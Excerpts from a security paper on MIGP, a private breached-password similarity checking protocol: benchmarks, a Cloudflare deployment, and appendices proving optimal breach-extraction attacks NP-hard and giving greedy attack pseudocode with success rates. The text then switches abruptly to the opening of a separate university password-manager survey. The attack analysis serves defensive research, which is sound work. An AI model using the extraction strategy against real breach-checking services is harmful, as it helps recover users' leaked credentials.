run each C3 service protocol separately for different n, m and
prefix length l. We simulate the server data with dummy buck-
ets containing b entries, where value b is randomly sampled
from the normal distribution with the mean and standard devi-
ation set to the values we computed in Fig. 11, with β = 104.
The server and the client are executed in two different EC2
virtual machines located in two different availability zones
in two coasts of the United States. They are connected via a
252 Mbits/sec network link.

We report the average latency with the breakdown for
preparing the query, calling the API and waiting for the re-
sponse, and finalizing the result for each protocol evaluation
in Fig. 12. The overall time to prepare for a query takes less
than 7 ms, for GPC, IDB, MIGP-Server and MIGP-Hybrid. The
total computational cost for the server is very small compared
to the client, however, the client spends time downloading
the data from the server (leading to higher latency in MIGP
compared to GPC and IDB). After the query, the client final-
izes the result by computing H2 of the username, password
pair to compare with the bucket entries. Using slow hash
function for rate limiting would add about 95 ms to the query
preparation to all protocols. MIGP-Client takes 100x more
time in query preparation due to generating the variants and
checking them. MIGP-Client can be particularly expensive
with rate limiting using slow hashes, such as Argon2. It can
take more than 10 seconds for a complete run of the protocol
run. MIGP-Hybrid strikes a balance between server storage
and query preparation time. It reduces the storage cost and
query time by a factor of 10 compared to MIGP-Server and
MIGP-Client, respectively.

The slowest among all, is WR19-Bloom and WR20-
Cuckoo protocols, taking more than 38 sec for one complete
protocol execution. The primary contributors to the latency
are: (a) before a query, the client has to encrypt each entry
of the Bloom filter homomorphically (using Paillier encryp-
tion [40]), (b) the client has to send all the encrypted Bloom
filter entries to the server, which is quite large (216.8 MB),
and (c) the server has to compute large group multiplications
over all entries in the Bloom filter. WR20-Cuckoo protocol
uses Cuckoo hashing [27] which improves overall latency and
bandwidth, however, still falls short of being practical due to
high computational overhead on the server.

MIGP-Server (with n = 102 and l = 20), MIGP-Client (with
m = 102 and l = 16) and MIGP-Hybrid (with n = 10, m = 10
and l = 20) takes less than 534 ms to compute a query if we
don’t use rate limiting, which is comparable to currently-
in-use IDB-16 (with l = 16) protocol. The overhead for
MIGP-Server stems from the high bandwidth usage due to
large bucket sizes. The buckets can be cached on the client-
side or served directly from CDNs (such as Cloudflare) as
practiced by HIBP [14] to improve performance. Client-side
caching of buckets saves fetching the same bucket again for
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Client side latency (ms)

Server B/w Query prep. Query prep. API Fina- Total w/o Total w/
C3 service l storage (MB) w/o rate limit w/ rate limit call lize rate limit rate limit

IDB-16 (GPC [47]) 16 15 GB 0.23 < 1 96 321 < 1 322 417
IDB-20 [37] 20 15 GB 0.01 < 1 96 125 < 1 126 221

WR19-Bloom [52] 20 1.0 TB 177.20 6,990 7,065 39,045 < 1 46,035 46,110
WR20-Cuckoo [53] 20 0.8 TB 0.81 59 155 38,560 < 1 38,619 38,715
MIGP-Server 20 1.5 TB 1.43 < 1 95 498 3 501 596
MIGP-Client 16 15 GB 0.23 46 10,713 450 38 534 11,202
MIGP-Client 20 15 GB 0.02 48 10,007 390 38 476 10,435
MIGP-Hybrid 20 0.2 TB 1.43 7 953 421 12 440 1,386

Figure 12: Average latency (in milliseconds) for checking one password via different private membership or similarity test
protocols used in different C3 services. with different parameters. IDB-16 and IDB-20 do not use any variants. MIGP-Server and
MIGP-Client generate 102 variants on the server and the client side, respectively. WR19-Bloom uses Bloom filter to reduce the
b/w requirement. For rate limiting we use Argon2 as H2, which takes around 95ms to compute. All latency measurements are
averaged over 25 complete API calls with standard deviations < 10%.

checking different passwords for the same username. As most
users have only a few email addresses, this can save significant
network bandwidth and time over multiple queries.

7 Deployment Discussion
We worked with Cloudflare, a major CDN and security com-
pany [12], to deploy the MIGP protocol (1) as a public-facing
API similar to HIBP, and (2) as a new breach alerting fea-
ture within Cloudflare’s web application firewall (WAF) prod-
uct [9]. MIGP is deployed as an opt-in feature in WAF, which
detects login requests to Cloudflare customer websites, ex-
tracts username and password fields, and queries a MIGP
service deployed on Cloudflare Workers [10]. The result of
the MIGP query is added to an HTTP header that is forwarded
to the customer login service, informing them should the lo-
gin request be utilizing a breached credential or ones similar
to them. The libraries underlying the MIGP implementation
have been open-sourced and are publicly available [8]. In this
section, we present some deployment considerations and the
lessons we learned.

Deployment details. During pre-processing, the breach
database is transformed into MIGP buckets. We post-process
the OPRF outputs using HKDF [35] to generate a 21-byte
hash value; the last byte is XORed with a one-byte flag de-
noting whether a bucket entry is an exact match or a variant.
Slow hashing is supported by the implementation, but ap-
plying slow hashing at the scale is expensive and our initial
deployment omits it. We discuss this more below.

The buckets of credentials produced in the pre-processing
step are stored in Workers KV [11], a high-performance, dis-
tributed key-value store. Our deployment uses 20-bit bucket
prefixes with n = 8 variants per entry generated using the
Das-R rules and without blocklisting popular passwords
(β = 0). The deployment caps each individual bucket size to
25 MB, which under this configuration should support breach
data up to 64 billion entries. The MIGP service is able to

serve over 50% of client requests in under 135ms, and 95% of
requests in under 573ms. Most performance overhead is due
to the cost of fetching buckets form Workers KV store, as only
frequently accessed buckets are cached at 250 datacenters that
are running Workers. Other buckets must be fetched from a
centralized data store which adds latency.

Our current implementation does not support client-side
variants. As shown earlier (Fig. 12), enabling client-side vari-
ant generation in the future may provide attractive perfor-
mance benefits. This must be balanced against the risk of
breach extraction attacks (see Fig. 10).

Breach extraction attacks. A key concern as we designed
and discussed MIGP deployment at scale was gauging the risk
of breach extraction attacks. Any client can attempt to mount
such an attack against the public API. The WAF deployment
does not necessarily provide malicious web clients with a
MIGP oracle: the result of MIGP queries are only shared with
the login service and not the client. Login services should not
reveal MIGP outputs to unauthenticated clients.

For both deployments we have thus far only utilized
datasets that are widely available on underground forums,
obviating the concern about breach extraction attacks in the
short term. To use more sensitive breaches in the future, fur-
ther mitigations will need to be enabled, including popular
password blocklisting and rate limiting. Our deployment al-
ready benefits from rate-limiting of individual IP addresses
and other anti-automation techniques [15]. We note that a
common rate-limiting approach is to require clients to obtain
an API key through some slow (or paid) registration process,
but this approach won’t work for WAF deployment scenario.

Another rate-limiting approach would be to use slow hash-
ing. Recall that the MIGP protocol uses two hash functions
within the OPRF, computing outputs as H2(u‖w,H1(u‖w)κ).
Either of the hashes can be made computationally expen-
sive to both slow down online breach extraction attacks
and to make offline hash cracking attacks harder should the
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MIGP server be compromised. There are nuanced security-
computation trade-offs between the choice of which to make
slow. If H2 is expensive the client cannot do offline process-
ing of the slow hash without communicating with the server,
which is not true if only H1 is slow. However, one benefit
of having just H1 slow is that the server can store the inter-
mediate H1(u‖w)κ values for faster key updates (see below).
Google Password Checkup (GPC) [47] uses a slow hash for
H1 and a fast hash for H2.

An alternative approach to slow hashing is to use asymmet-
ric hashing, also called proof-of-work [24, 31] or time-locked
puzzles [45]. We discuss these approaches in more detail
in Appendix F.

Bucket updates. MIGP services (like other C3 services)
may periodically update their leaked data, such as when new
breaches are exposed online. This will require adding new
credentials to the buckets. Updating the buckets with OPRF
outputs under the same key could, in principle, allow an at-
tacker to identify the newly added username, password pairs.
Although it is unclear how this leakage can be exploited, it
would be better to avoid the leakage entirely. One way is to
rotate the OPRF key κ every time there is a new leak. How-
ever, recomputing the OPRF output from the stored breach
data will be computationally very expensive given the slow
hash function. Assuming H1 is slow, an optimization would
be to have the server record the output of the group multipli-
cation H1(u‖w)κ in some offline, safe storage. Then the new
OPRF outputs can be computed for the new key κ′ by raising
H1(u‖w)κ values to κ′/κ, and applying the fast hash H2(·) to
them. This approach is similar to the key rotation mechanism
used by Pythia [26].

MIGP warnings: effectiveness and usability. To estimate
the effectiveness of the MIGP service, we instrumented the
WAF deployment to measure the ratio of the number of lo-
gin attempts that MIGP flagged as similar to the number that
MIGP flagged as an exact match. The average ratio over the
period of a week is 0.2 (with 0.01 standard error of the mean),
implying that MIGP flags 20% more login attempts compared
to an exact-checking C3 system. This represents a signifi-
cant improvement by MIGP over exact-checking in terms of
alerting on credentials that are vulnerable to attacks such as
those based on pass2path [41]. Our instrumentation does not
record how many WAF-monitored attempts correspond to
vulnerable accounts (e.g., attempts will include some number
of incorrect submissions and attacks), but customer services
can distinguish between these cases and act appropriately.

Prior work has shown that users may not be responsive
to breach alerts [44]. We expect that MIGP deployments
will face a similar challenge. Server-side breach alerting, like
our WAF deployment, allow high-security services to force
users to change MIGP-flagged passwords. One open question
prompted by our work is how best to communicate to users
that their password is similar to a breached password and how

to guide them towards safer choices.

8 Conclusion
In this work, we tackled the problem of building MIGP, an
updated version of C3 systems that can securely warn users
from selecting passwords similar to (and same as) a breached
password which can be vulnerable to credential tweaking at-
tacks. Via comparing different similarity metrics we show
that computing variants of the password using weighted edit
distance rules provide the best combination of performance
and efficacy. Underlying MIGP is a secure private similarity
test (PST) protocol. Despite secure PST, MIGP protocols can
still be vulnerable to breach extraction attacks, where an at-
tacker can extract leaked (but not yet public) credentials from
a MIGP service. We show that the attacker’s success proba-
bility can be reduced significantly using blocklisting popular
passwords. We implement and show that MIGP achieves com-
putational overhead comparable to C3 services. Finally, we
deploy MIGP with Cloudflare and provide nuanced discus-
sions about deploying MIGP in practice.
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A Assessing performance feasibility
We compare the performance of the top four similarity
measures — P2P, Das-R, wEdit and PPSM — to under-
stand the feasibility of their deployment as a C3 service.
The three generative algorithms perform a PMT with the
breached passwords and their variants generated on the server.
PPSM computes similarity by mapping the passwords to 100-
dimensional vectors and comparing their dot product to a
threshold. The resultant list of boolean is summed and sent
to the client. Therefore, the implementation of PPSM-based
MIGP doesn’t require the generation and storage of similar
passwords, but involves computing private dot products, com-
parisons, and summation.

To estimate the cost of performing similarity matching, we
use a bucket of 10,000 username, password pairs (without
any variants). We use n = 100 for P2P, Das-R, and wEdit,
and θ = 0.83 for PPSM. The OPRF based PMT protocol is
implemented in Python and uses secp256k1 elliptic curve
implemented in petlib [5]. We implement the PPSM based
protocol using Crypten [34]. Timing experiments were per-
formed on a machine with an Intel Core i9 processor and
128 GB RAM, and here we run the entire protocol within
the same machine (without network overhead). P2P uses an
Nvidia GTX 1080 GPU along with the processor to run the
pass2path neural network for pre-processing.

We summarize the results in Fig. 13. PPSM-based ap-
proach to MIGP takes 16 seconds to complete a query, while
all other approaches take < 1 second. Note that these mea-
surements, which do not include network latency, should be
considered lower bounds on performance. Crypten uses secret-
sharing to execute the MPC protocols, therefore requires more
than one round trip. The columns of Fig. 13 are ordered from
left to right in decreasing order of our perception of how criti-
cal this aspect of the protocols is to deployment. As PPSM

Similarity
measure Latency B/w Compat. Storage

per bucket Precomp.

wEdit (n = 100) < 1 sec 14 MB Yes 14 MB 41 sec
P2P (n = 100) < 1 sec 14 MB Yes 14 MB 180 sec
Das-R (n = 100) < 1 sec 14 MB Yes 14 MB 0.5 sec
PPSM (θ = 0.83) 16 sec 1.6 KB No 8 MB 1 sec

Figure 13: Performance (latency, bandwidth, storage, etc.)
summary of different similarity measures. All the numbers
are based on a bucket of size 104. The trade-offs are also
ranked left to right based on the importance to deployment.
Here latency does not include n/w or i/o cost.

Das-R wEdit Rule (%) of matches

1 1 Del last char 27.7
2 3 Switch 1st char case 20.6
3 2 Del last 2 char 15.2
6 4 Ins ‘1’ at end 13.4
- 6 Ins ‘Caps’ at beg 7.6
4 5 Del last 3 char 6.6
9 7 Del 1st char 4.7
5 - Ins ‘0’ at beg 1.5
- 8 Subs ‘1’ at end 1.0
10 - Ins ‘0’ at end 0.7
- 10 Ins ‘123’ at end 0.5
7 9 Ins ‘a’ at beg 0.4
8 - Ins ‘q’ at beg 0.1

Figure 14: Rules for generating password variants and the %
of password pairs matched by the rule among 9,141 vulner-
able pairs found in a randomly sampled 105 password pairs.
We also show their ranks according to Das-R and wEdit.

is slower than other approaches for executing a query, we
focus on the generative methods. We leave as an open ques-
tion whether one can make another 2PC-based protocol fast
enough for reasonably sized buckets.

B Rules-based similar passwords generation
We used three rule-based approaches for generating simi-
lar passwords: Das [22], a reordered variant of Das which
we call Das-R, and wEdit. The top-performing edit rules
based on our dataset S1 are shown in Fig. 14. We also re-
port the percentage of vulnerable password pairs in T ex-
plained by each rule. Deleting characters towards the end,
and adding SHIFT or CAPS LOCK at the beginning are the
most common rules that users use to modify their passwords.
While the top rules capture the common transformations, it
fails for subtle edits that are otherwise guessed by pass2path.
Some example of such pairs are: (‘20041981’, ’200481’ ),
(‘thingsome’, ‘thing.some’), (‘nikaprudova’, ‘nika_prudova’),
(‘MADRE000’, ‘padre000’), (‘jessiemax1’, ‘jessie1’).

C Optimal breach extraction attack is hard
Let W be a set of all possible strings up to some length
(say, 30), and W ⊆ W be the set containing all possible
password strings for users U , with an associated probabil-
ity distribution p of being chosen by a user. Recall we de-
fined τ : W → 2W such that τ(w) is the set of passwords
similar to w. (We show how to instantiate τ in Section 4.) We
assume w /∈ τ(w), and n = maxw |τ(w)|.

The MIGPGuess adversary (in Fig. 7) tries to guess the
exact target password w given access to the MIGP(·) oracle.
We modify the game to measure the advantage of an attacker
as the expected number of queries to the respective oracles to
guess a password, without any limit on the query budget. The
oracles keep track of the total number of queries.

The advantage of the MIGPGuess adversary A is defined as
the expected guess rank: GMIGP (A) = E [MIGPGuess(A) ] .
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An MIGPGuess-adversary A∗ is optimal if for all A it holds
that GMIGP (A∗) ≤ GMIGP (A). The optimal adversary A∗
builds a ternary decision tree to query MIGP such that the
expected guess rank is minimized. We show that building
such a decision tree that minimizes the guesswork is NP-hard,
and so does the optimal attack against MIGP.

Definition 1 (OMIGPGuess). Given (W, p,τ), we define opti-
mal MIGP guess (OMIGP) problem as building the query tree
for A∗ that minimizes the expected guess rank for distribution
p over W with MIGP similarity measure being τ.

Theorem C.1. OMIGPGuess problem is NP-hard.

Proof: To prove this theorem, one might be tempted to reuse
the result from Chatterjee et al. [19, 21], who investigated
guessing attacks against a server that allows the user to login
with a small set of typos in the context of typo-tolerant pass-
word checking. Although the setting is similar, there is one
crucial difference: MIGP reveals whether the query is a match
or is similar to a password, but the password typo correction
oracle does not reveal whether the password was an exact
or near match. This seemingly minor distinction implies we
can’t use their technique.

We, therefore, show that OMIGPGuess problem is NP-hard
by reducing the optimal binary decision tree (OBDT) problem
to OMIGPGuess in polynomial-time. Because OBDT does
not have a polynomial-time solution [36], OMIGPGuess also
cannot have a polynomial-time solution.

Binary decision tree (BDT). Given a set of n items X =
{x1,x2, . . . ,xn} with associated probability distribution pX
and a set of m questions (functions) Q such that Qi : X 7→
{0,1}, the goal is to find a decision tree where the questions
q ∈ Q are specified in all the internal nodes while the items
xi fill the root nodes of the tree. The expected depth of the
tree is defined as ∑x∈X pX (x) ·d(x), where d(x) is the depth —
distance from the root — of the element x in the binary tree.

Definition 2 (Optimal BDT problem (OBDT)). Given
(X , pX ,Q), the problem is to build a binary decision tree that

has the least expected depth, ∑x∈X pX (x) ·d(x).

Laurent and Rivest have shown OBDT problem is NP-
hard [36]. We show that OMIGPGuess is NP-hard by giving a
polynomial-time reduction of an arbitrary instance of OBDT
problem to OMIGPGuess. Thus if there exists a polynomial-
time solution to OMIGPGuess, then we can solve OBDT in
polynomial-time as well, which is a contradiction.

An instance of OMIGPGuess problem is defined as
(W, p,τ), where W are the set of strings, p is a probability
distribution over W , and τ is a similarity measure. Given
an instance of BDT problem (X , pX ,Q), we can construct
an instance of OMIGPGuess problem as follows. For this
we set W = X ∪Q (assuming elements in Q are distinct
from X); p(w) = pX (w) if w ∈ X , and 0 otherwise; and
τ(w) = {y | Qw(y) = 1} if w ∈ Q, and ∅ otherwise.

GreedyMIGP(W, p,B,q):

W ′←
⋃

w∈W
τ(w)∪{w}

for i← 1 to q do
w̃i← argmaxw̃∈W ′ p(B(w̃)) ; r←MIGP(w̃i)

if r = similar then
for w ∈W\B(w̃i) do p(w)← 0
W ′←

⋃
w∈B(w̃i)

τ(w)∪{w}

else if r = none then
W ←W\B(w̃i) ; for w ∈ B(w̃i) do p(w)← 0

else if r =match then return w̃i

W ′←W ′ \{w̃i}
return argmaxw∈W p(w)

Figure 15: Greedy algorithm for finding q guesses to MIGP
oracle (Fig. 7). Here B : W 7→ 2W is a function such that
B(w̃) = {w ∈W

∣∣ w̃ ∈ τ(w)}.

Let T be the ternary decision tree for OMIGPGuess prob-
lem, where each node has three children for each type of
MIGP output. The leaf nodes of the tree are the passwords in
W . The distance of a password w from the root is the num-
ber of queries it take to guess w, which we denote as d(w)
here. As T is optimal, the guesswork ∑w∈W p(w) · d(w) is
minimum. Also note that, because p(w) = 0 if w ∈ Q (as per
the reduction above), ∑w∈X p(w) ·d(w) is minimum. This is
the same as the property of OBDT. Therefore, we can build
the required binary decision tree T ′ by removing the edges
for the exact match of the questions (where w ∈ Q).

Thus, we show that one can reduce an instance of OBDT
problem into an instance of OMIGPGuess problem, and the
solution of OMIGPGuess will provide a solution to OBDT.
This contradicts the fact that OBDT is NP-hard, therefore,
OMIGPGuess cannot have a polynomial-time solution. This
concludes the proof.

The BDT problem will have a unique solution only if m≥
log2 n and no two objects have the same output for all the
questions. Since BDT reduces to OMIGPGuess, the same
conditions apply for OMIGPGuess as well.

D Greedy approximation of OMIGPGuess
Finding an optimal guessing strategy that minimizes the ex-
pected guess rank is NP-hard. However, attackers could still
find approximate solutions that minimize the expected guess
rank. We present a greedy algorithm GreedyMIGP Fig. 15.
We define the ball B(·) of a variant w̃ ∈W as the set of pass-
words that share a common variant. That is, B(w̃) = {w ∈
W

∣∣ w̃ ∈ τ(w)}. The probability of a ball p(B(w̃)), also called
the weight of a ball, is the sum of the probabilities of the
passwords in the ball.

The attacker begins with a set of potential passwords W of
the target user. In iteration i, the attacker picks the guess w̃i
that has the highest ball weight, and based on the response
from the MIGP oracle, it updates the set of potential pass-
words. In particular, if the response is none, then it removes
all the passwords in B(w̃i) from W . If the response is similar,
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β n q = 10 q = 100 q = 1000

10
0 1.21 (± 0.17) 2.48 (± 0.25) 5.64 (± 0.51)
10 0.14 (± 0.06) 1.85 (± 0.15) 9.50 (± 0.31)
102 0.03 (± 0.02) 0.44 (± 0.08) 10.65 (± 0.16)

102
0 0.78 (± 0.10) 1.40 (± 0.17) 2.49 (± 0.30)
10 0.12 (± 0.02) 1.78 (± 0.28) 8.57 (± 0.47)
102 0.03 (± 0.03) 0.67 (± 0.13) 6.46 (± 0.27)

103
0 0.72 (± 0.07) 0.89 (± 0.08) 1.46 (± 0.14)
10 0.23 (± 0.02) 0.78 (± 0.12) 5.61 (± 0.54)
102 0.04 (± 0.01) 0.09 (± 0.03) 2.07 (± 0.27)

104
0 < 0.01 (± < 0.01) 0.03 (± 0.03) 0.27 (± 0.03)
10 <0.01 (± < 0.01) 0.41 (± 0.07) 2.98 (± 0.25)
102 0.00 (± 0.00) 0.26 (± 0.21) 2.56 (± 0.20)

Figure 16: Breach extraction attack success when the target
password is not one of the blocked passwords or their variants.

then it knows that the target password is one of the passwords
in B(w̃i), and so it sets the probability of all other passwords
to zero and limits the search to the passwords in B(w̃i) and
their variants.It is important to leave the variants in because
they may make the ball heavier than when the ball was cen-
tered on passwords from only B(w̃i). If the response is match,
then it stops and outputs the guess w̃i (and wins the game).

The greedy algorithm is not optimal but provides a good
approximation of the success of the optimal attacker. Whether
an efficient algorithm with tighter approximation bounds ex-
ists remains an open question. Following the seminal work of
Chakaravarthy et al. [18]), we find the expected guesswork
due to the greedy algorithm GreedyMIGP can be as high
as O(log |W |) factor of the minimum expected guesswork
GMIGP (A∗). This approximation factor is quite large, espe-
cially when |W | is very large. Nevertheless, this shows that it
is possible to compute approximate solutions that might help
an attacker guess a user’s leaked password stored in MIGP
server more effectively (than existing C3 services).

The complexity of the algorithm is O(qn2|W |). The at-
tacker can decide on W that they believe will likely contain
the target password, e.g., popular passwords from prior public
password breaches.

E Breach extraction attack (contd.)
To understand the security impact on users who uses strong
password — passwords that are not blocked by MIGP, we
sample of 25,000 username, password pairs randomly from T
such that the target password is not in the blocklisted set, for
β > 0. We show the results of greedy breach extraction attack
GreedyMIGP in Fig. 16. Notably, for q ≤ 100, our greedy
attack performs worse than that against exact checking C3
service (shown in bold), and the attack success rate is worse
for n = 100 compared to n = 10. We saw the similar trend
in Fig. 8 as well. We believe this is because our greedy algo-
rithm is sub-optimal, especially for smaller number of guesses
and future work should explore other heuristic attacks for a
smaller number of guesses.

F Rate-Limiting Client Queries
As shown in Section 5.1, to reduce the effect of the breach
extraction attacks, MIGP must limit access to the service.
Cryptographic rate-limiting ensures the client performs sig-
nificantly more work than the server to make a query.

MIGP can use a slow, computationally expensive hash
function such as Argon2 [1] or Scrypt [43] for H2 (or H1,
see the trade offs in Section 7) in the PRF Fκ. For example,
computing a slow Argon2 hash with default parameters [3]
on a desktop with Intel Core i9 processor and 128 GB RAM
takes about 97 ms. However, this also requires the server to
compute the slow hash during pre-processing. We estimate
that computing Fκ for 1.14 billion unique username, password
pairs and their n = 100 variants will require approximately
361.5 CPU-years of computational power.

An alternative approach would be to use a time-lock puz-
zle [38, 45] to slow down client queries to MIGP. Time-
lock puzzles, first introduced by Rivest et al. [45], are a type
of verifiable delay function (VDF) [16], where knowledge
of trapdoor information makes computing a hash function
significantly faster. Following the construction in [45], we
can set H2 to be computed as follows. The MIGP server
computes a large RSA modulus N = pq, where p and q
are two large randomly chosen secret primes. Let ν be
the cost factor and H2(x) = SHA256(x)2ν

mod N, for any
binary string x ∈ {0,1}∗. The server can compute H2 ef-
ficiently as H2(x) = SHA256(x)2ν mod φ(N) mod N, where
φ(N) = (p−1) · (q−1). The time complexity of such an op-
eration would be bounded by the size of N in bits. While for
the client, which will not know the factors of N, computation
of H2 will need to perform ν squaring modulo N sequentially
(each time squaring the prior result). By setting the value
of ν accordingly the server can increase the computational
cost. The advantage of using time lock puzzles is that repeated
squaring is an intrinsically sequential process and can’t be par-
allelized. We estimate that the server would need 0.53 ms to
set up a time-lock puzzle that would take 100 ms to solve for
the client. This corresponds to approximately 1.8 CPU-years
of computational power to finish computing H2 of 1.14 billion
unique username-password pairs and their n = 100 variations.

A third alternative approach to throttle client queries is to
add a small secret value to the hash function H2, H2(x) =
SHA256(x‖r), where r is randomly chosen from {0,1}ν for
each username, password pair. The server does not store r (or
share it with the client). Therefore, the client has to brute-force
the value of r. For example, assuming a (malicious) client
can do 10 million SHA256 hashes per second, the server can
set the value of ν to be 21 bits, which will in expectation
ensure 100 ms client-side computing cost. The server will
require approximately 3.1 CPU-hour for precomputation. One
drawback of this approach is that the client can parallelize the
computation of hashes, and it does not guarantee 2ν sequential
operations, unlike time-lock puzzles.
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Abstract
We quantitatively investigated the current state of Password
Manager (PM) usage and general password habits at a large,
private university in the United States. Building on prior qual-
itative findings from SOUPS 2019, we survey n=277 faculty,
staff, and students, finding that 77% of our participants al-
ready use PMs, but users of third-party PMs, as opposed to
browser-based PMs, were significantly less likely to reuse
their passwords across accounts. The largest factor encourag-
ing PM adoption is perceived ease-of-use, indicating that com-
munication and institutional campaigns should focus more on
usability factors. Additionally, our work indicates the need for
design improvements for browser-based PMs to encourage
less password reuse as they are more widely adopted.

1 Introduction

Password management remains a weak link in the security
ecosystem. Prior work shows that users tend to select weak
and ineffective passwords that are easily guessed [28, 48] and
reused across accounts [17]. This has led to the wide rec-
ommendation of Password Managers (PMs) that can store,
recall, and generate unique passwords for each account [25].
It is often assumed that users are hesitant or uninterested in
using PMs due to perceived increased management require-
ments [44], added complications [9], fear of losing access to
the passwords [42], misplaced beliefs that current password
generation habits are sufficient [44], or that PMs offer no
improvements over current password habits [15].

To evaluate the penetration of PMs and the factors that
affect adoption, we developed an online survey (n=277) dis-
tributed to a random sample of faculty, staff, and students at a
large private university in the US. The survey included a series
of closed-item responses on various password management
habits and motivations for using PMs (or not) derived from
the qualitative themes identified by Pearman et al. [42]. Our
study therefore offers one of the first large-scale quantitative
measurements of PM usage within an organization.

We were also motivated in assessing the role of institu-
tions and organizations in encouraging PM usage and good
password management habits, generally. While such studies
have existed in the space of password selection [5, 35] and
two-factor-authentication [11, 14], encouraging PM usage at
the organizational level has not been previously explored. We
were particularly interested in assessing the potential benefits
and impact of a university investing in a large, campus-wide
deployment of a third-party PM via a site-license for all stu-
dents, faculty, and staff. The institution in which this study
was conducted is considering purchasing such a license.

We find that awareness and use of PMs is much broader
than previously reported: 77% of our participants used a
PM. Predominately, these were browser built-in PMs (60%),
matching previous findings [30] and therefore likely to gen-
eralize beyond our sample. In contrast, only 18% of our PM
users used a third-party PM (some used multiple). Generally,
the vast majority of respondents reuse passwords across ac-
counts (77%), but those who use third-party PMs are much
less likely to do so, suggesting that third-party PMs promote
better password habits as compared to built-in, browser-based
PMs, confirming prior work [30, 42].

We also find that perceived ease-of-use overall plays a key
role: when considering users of all types of PMs, an over-
whelming majority point to ease-of-use, rather than security
benefits, as their motivation for using a PM. Participants were
14.5× more likely to use a PM if they found it “easy to use.”
However, when considering only third-party PM users, secu-
rity plays an important role, where participants were 12.8×
more likely to use a third-party PM. PM adoption campaigns
should thus focus on demonstrating how PMs can improve the
user experience and easily be used in normal web-browsing
habits rather than exclusively focus on the security benefits.

We also find that third-party PM users are significantly
more likely to use the PM to generate passwords than partici-
pants using browser built-in PMs, and the majority of partici-
pants (66%) would also adopt a PM if it was offered to them
for free by their organization. This suggests an opportunity for
institutions to foster secure password management habits by

USENIX Association 31st USENIX Security Symposium    1849



investing in third-party PMs, with the benefits likely cascad-
ing. Additionally, more work is required to improve the design
of browser built-in PMs as these are the most commonly used
PMs, but not used to their full potential by generating unique,
random passwords per account.

2 Background on Password Managers

Password Managers (PMs) are a software security tool de-
signed to help users improve their password security while
decreasing the burden of remembering passwords. Generally
PMs are classified into three types:

1. Operating System built-in PMs: These PMs are in-
tegrated into the operating system, not requiring any
additional software for example Apple’s Keychain.

2. Browser built-in PMs: Many browsers ship with a PM
built into the browser interface. For instance, Chrome
and Firefox both come with such PMs and provide mech-
anisms for generating random/secure passwords.

3. Third-party PMs: Third-party PMs are dedicated soft-
ware for managing and generating passwords, often ex-
ceeding the features of the former categories. Third-party
PMs require users to install browser-extensions as well
as a mobile app to access passwords, and full functional-
ity typically requires a fee-based subscription.

PMs have been widely recommended [25] to improve online
security. However, adoption of PMs is generally considered
low [12]. In contrast to prior research, we find that PM pen-
etration is relatively high, with over 70% of our participants
drawn from a large university in the US using PMs. Most
of our participants use browser built-in PMs, while usage of
third-party PMs is comparatively much lower.

Several studies have investigated the low adoption of PMs,
particularly third-party PMs (see Section 6). A recent study
by Pearman et al. [42] interviewed 30 participants to iden-
tify why users fail to adopt PMs. Pearman et al. identified
several themes, most importantly that (a) convenience and
usefulness drive adoption and (b) users of third-party PMs are
less prone to password reuse. There are different reasons for
adopting various PMs, with adoption of built-in PMs driven
by convenience and adoption of third-party PMs driven by
security. Following on Pearman at al. [42], we present the first
large-scale quantitative survey investigating these themes by
sampling from an institution-wide mailing list at the George
Washington University, which is currently considering invest-
ing in a site-wide license for a third-party PM.

3 Methods

Research Questions Our study aimed to investigate users’
perceptions and usage of PMs as well as their reasons for and
against adoption of PMs. We ask four research questions:

RQ1 [Awareness] Are participants drawn from members of
the George Washington University aware of PMs and
their different types?

RQ2 [Password Strategies in General] What are the current
password handling strategies of institution members,
and what role do PMs play in these strategies?

RQ3 [Institutional Account Management] What are the
strategies members of the George Washington Uni-
versity employ specifically for their university account
passwords?

RQ4 [Motivations & Barriers] What are the reasons for use
and non-use of PMs?

In RQ1, we seek to better understand our participants’ aware-
ness of PMs and the three varieties of PMs. In RQ2, we
explore password and account management strategies more
broadly, such as how our participants create, recall and reuse
passwords. We correlate account management strategies with
usage of a PM during analysis, exposing how PMs impact
account management. In RQ3, we explore our participants’
specific password management strategies for their university
accounts. This is of particular interest to the George Washing-
ton University because a site–licensed, third-party PM would
use the organizational account password as the vault pass-
word. Finally, in RQ4, we seek to understand the motivations
and barriers to adoption of PMs.

Survey Structure Our survey was administered online, and
lasted, on average, 16 minutes. As an incentive to participate,
we raffled off one $10 gift card for every 20 participants that
opted to be considered. In total, we gave out 10 gift cards.
All procedures were approved by the George Washington
University IRB and IT department. Our survey structure is
described below. The full survey is provided in Appendix A.

1. Informed consent: Participants were informed about the
survey’s purpose, structure, length, and raffle.

2. Affiliation with the George Washington University: As
an institutional study, we asked participants if they were
affiliated with the George Washington University and
their role (e.g., faculty, staff, student).

3. General password management: Participants were asked
to describe how they manage their passwords across dif-
ferent accounts as an open-ended question. They were ad-
ditionally asked to select from a list of password manage-
ment techniques (including PMs), and if multiple were
selected, how they combined these techniques. Lastly,
participants were asked if they re-use passwords.

4. Password synchronization methods: Participants were
asked how they share and synchronize (or fail to do so)
across devices. For example, if a participant stores their
passwords in a text document, we asked if and how they
share that text document across computers and devices.

5. University account password management: Participants
were asked about password management strategies for
their university account, as well as how it compares to
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other accounts on a Likert scale.
6. Introduction to PMs: We described PMs using the ex-

planatory text developed by Pearman et al. [42] before
asking participants to indicate if they use any of the three
types of PMs. Participants were further asked a series
of Likert-scale questions regarding their perceptions of
PM usage. Specifically, we included questions pertain-
ing to the six aspects of usability and security used by
Colnago et al. [11] in their institution-wide study (see
Section 6), but adapted them from their 2FA context
to the PM context in this work: (i) Security – whether
participants perceive using PMs as preventing account
compromise; (ii) Tranquility – whether participants be-
lieve that using PMs means one can worry less about
account safety; (iii) Fun - whether participants perceive
PMs as fun to use; (iv) Ease-of-use – whether partici-
pants perceive PMs as easy to use; (v) Difficulty-of-use
– whether participants perceive PMs as difficult to use.
(vi) Annoyance – whether participants perceive PMs as
annoying to use. We complemented these aspects with
two additional aspects, trust and transparency, which are
relevant to PMs [3]: (vii) Trust – whether participants be-
lieve PMs can be trusted; (viii) Transparency – whether
participants feel they know how PMs work.

7. PM user questions: PM users were asked where they
had learned about PMs, as well as the PMs they use, and
their reasons for using them. They were also asked about
their satisfaction with PMs on a Likert scale.

8. Non-PM user questions: Non-PM users were asked to
describe their reasons for not using a PM. They were
also asked if they had used PMs before and why they
had stopped. Lastly, these participants were asked if they
would use a PM again and under which circumstances.

9. IT Skills: We asked participants about their IT back-
ground and familiarity with computer and internet con-
cepts from the web skills measure [21] and the SA-6
security attitude measure [16].

